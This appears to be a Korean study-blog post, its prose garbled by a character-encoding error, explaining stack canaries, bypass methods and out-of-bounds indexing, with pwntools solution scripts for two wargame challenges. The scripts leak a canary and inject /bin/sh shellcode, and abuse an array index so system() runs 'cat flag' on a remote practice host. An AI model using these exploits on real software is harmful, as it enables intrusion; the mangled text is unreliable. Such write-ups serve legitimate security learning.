๐ ์ง๋ ์ฐจ์
( 2์ฃผ์น ๋ฐ๋ ค์ ๋ถ๋ด๋ถ๋ด ์ฐ๋์ค... )
1. Stack Canary
์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ฅผ ๋ง๊ธฐ ์ํ ๊ธฐ๋ฒ์ด๋ค. ( SFP์ RET ๊ฐ์ด ๋ณ์กฐ ๋๋ ๊ฒ์ ๋ง๋๋ค. )
Buffer์ SFP ์ฌ์ด์ ๋๋คํ 4 or 8 ๋ฐ์ดํธ์ Canary ๊ฐ์ด ์ฝ์ ๋๋ค.
ํจ์ ์ง์ ์ ์นด๋๋ฆฌ ๊ฐ์ ์ค์ ํ๊ณ , ํจ์ ์ข ๋ฃ์ ์นด๋๋ฆฌ ๊ฐ์ด ๋ณ์กฐ ๋๋์ง ํ์ธํ๋ค.
( ์นด๋๋ฆฌ ๊ฐ์ด ๋ณ์กฐ๋๋ค๋ฉด __stack_check_fail ํจ์๋ฅผ ํตํด ํ๋ก๊ทธ๋จ์ด ์ข ๋ฃ๋๋ค. )
์ปดํ์ผ ๋ฐฉ๋ฒ :
์นด๋๋ฆฌ ํด์ : -fno-stack-protector
์นด๋๋ฆฌ ์ค์ : -fstack-protector
์ฐํ ๋ฐฉ๋ฒ :
(1) ์นด๋๋ฆฌ ๊ฐ์ด ๊ณ ์ ์ธ ๊ฒฝ์ฐ Brute Force
์นด๋๋ฆฌ ๊ฐ์ ํน์ ํ์ผ์์ ์ฝ์ด์ ์ฌ์ฉํ๊ฑฐ๋ fork๋ ๋ฐ์ด๋๋ฆฌ๋ ์นด๋๋ฆฌ ๊ฐ์ด ๊ณ ์ ๋์ด์๋ค.
(2) ์นด๋๋ฆฌ ๊ฐ ์ ์ถ
๋ฒํผ๋ฅผ ์นด๋๋ฆฌ ์ ๊น์ง ์ฑ์์ ํด๋น ๋ฒํผ๋ฅผ ์ถ๋ ฅํ ์ ์๋ค๋ฉด ์นด๋๋ฆฌ ๊ฐ์ด ๋ถ์ด์ ๊ฐ์ด ์ถ๋ ฅ๋๋ค.
(3) pthread ํจ์๋ก ์คํ๋ ํจ์ ๋ด๋ถ์ ์นด๋๋ฆฌ
์คํ ํ๋จ์ ์นด๋๋ฆฌ ๊ฐ์ผ๋ก ๋น๊ตํ๋ ๊ฐ์ด ์๋๋ฐ ํด๋น ๊ฐ์ ๋ฎ์ด์ด๋ค๋ฉด ์นด๋๋ฆฌ ๊ฐ์ ์กฐ์ํ ์ ์๋ค.
(4) scanf("%d", buf[i]);
scanf๋ก ์นด๋๋ฆฌ ๊ณต๊ฐ์ ์ ๋ ฅ ๋ฐ์ ์ ์๋ค๋ฉด '+'๋ '-'๋ฅผ ์ ๋ ฅํด ์นด๋๋ฆฌ ๊ฐ์ ๋ฎ์ง ์๊ณ ์ฐํํ ์ ์๋ค.
๋ฒํผ์ ๊ฐ์ ์ ์ฐ๊ณ RET๋ฅผ ๋ฎ์ ์ ์๋ค.
์นด๋๋ฆฌ ํ์ธ ๋ฐฉ๋ฒ :
2. Stack Canary ์ค์ต ๋ฌธ์ ํ์ด
๋ฌธ์ ํ์ด1 : leak_canary
checksec leak_canary
- ํธ๋ฆฌ๊ฑฐํ๊ธฐ
- ์ต์คํ๋ก์
from pwn import *
e = ELF('./leak_canary')
p = process('./leak_canary')
buf = int(p.recvline().split(b' ')[-1], 16)
print('buf : {}'.format(hex(buf)))
# canary leak
p.sendafter(b'MSG : ', b'A'*105)
p.recvuntil(b'A'*105)
canary = u64(b'\x00' + p.recv(7))
print(hex(canary))
p.sendlineafter(b'quit?', b'n')
pay = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
pay += b'A'*(104-len(pay))
pay += p64(canary)
pay += p64(0)
pay += p64(buf)
p.sendafter(b'MSG : ', pay)
p.interactive()
๋ฌธ์ ํ์ด2 : Bypass Canary v2
plt, got ๊ฐ๋ ์ ์์์ผ ํ ์ ์๋ค ! ๋ค์์ ๊ณต๋ถํ๊ณ ๋์ ํ์ด๋ณด์.
2. Out Of Boundary (OOB)
๋ฒํผ์ ๊ธธ์ด ๋ฒ์๋ฅผ ๋ฒ์ด๋๋ ์ธ๋ฑ์ค์ ์ ๊ทผํ ๋ ๋ฐ์ํ๋ ์ทจ์ฝ์ ์ด๋ค.
OOB ์ทจ์ฝ์ ์ ๋ง๊ธฐ ์ํด์๋ ์ธ๋ฑ์ค ๋ฒ์ ๊ฒ์ฌ๋ฅผ ํด์ผํ๋ค.
์ทจ์ฝํ ์ฝ๋
#include <stdio.h>
int main()
{
int b = 10;
int a[4];
printf("Before B : %d\n", b);
a[-9] = 20;
printf("After B : %d", b);
}
-----------------------------------------------------๊ฒฐ ๊ณผ-----------------------------------------------------
Before B : 10
After B : 20
-----------------------------------------------------๋ถ ์-----------------------------------------------------
A : 000000F178AFF848
B : 000000F178AFF824
A์ B์ ์ฃผ์ ์ฐจ์ด๋ 0x24 = 36 ์ด๋ค.
a[-9]๋ a๋ฐฐ์ด ์ฃผ์์ธ 000000F178AFF848์์ 4*9=36 = 0x24 ๋งํผ ๋บ ๊ณณ์ด๋ค.
000000F178AFF848 - 0x24 = 000000F178AFF824 = B์ ์ฃผ์
๋ฐ๋ผ์ B์ ๊ฐ์ 20์ผ๋ก ๋ฐ๊ฟ๋ฒ๋ฆฌ๊ณ b๋ 20์ด ๋๋ ๊ฒ์ด๋ค.
๋ฌธ์ ํ์ด : out_of_bound (๋๋ฆผํต)
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
char name[16]์ name์ ์ ๋ ฅ๋ฐ๊ณ ,
int idx์ ์ซ์๋ฅผ ์ ๋ ฅ๋ฐ๊ณ ,
systemํจ์๋ก command[idx]๋ฅผ ๋ฃ์ด์ ์คํ์ํจ๋ค.
์ทจ์ฝํ ๋ถ๋ถ : int ๋ฒ์์์ ๋ฐ์์ oob๊ฐ ๋ฐ์ํ๋ค.
์ต์คํ๋ก์ :
1. name ๋ฐฐ์ด์ cat flag๋ฅผ ๋ฃ๊ณ
2. OOB๋ฅผ ์ด์ฉํด์ name ๋ฐฐ์ด์ ์์น๋ฅผ ์ฐธ์กฐํ๊ฒ ํ๋ค.
3. system(name๋ฐฐ์ด์ฃผ์) = system('cat flag') ์คํ
๊ทธ๋ผ ์์์ผ ํ ๊ฒ์ name ๋ฐฐ์ด์ ์ฃผ์์ idx ์ ๋ ฅํ๋ ๊ณณ์ ์ฃผ์์ด๋ค.
gdb๋ก breakpoint๊ฑธ๊ณ ๋ณด๋ฉด,
๋ ์ฃผ์์ ์ฐจ์ด๋ 76์ด๊ณ ํฌ์ธํฐ๋ 4๋ฐ์ดํธ ํฌ๊ธฐ๋๊น 76 / 4 = 19
command[19]๋ก ๊ฐ๋ฉด name[0]์ ์ ๊ทผํ ์ ์๋ค.
from pwn import *
p = remote("host3.dreamhack.games", 9969)
name = 0x804a0ac
command = 0x804a060
pay = p32(0x804a0ac+4) #name
pay += b"cat flag"
p.sendafter(b"name:", pay)
p.sendlineafter(b'want?:', str(19))
p.interactive()
โญ๊ณต๋ถํ ๊ฒ๋ค
1. ๋๋ฆผํต Stack Canary ๋ก๋๋งต, Master Canary ๋ก๋๋งต
2. ์นด๋๋ฆฌ ๋ฌธ์ ๋ค - ํ๊ธฐ์ค์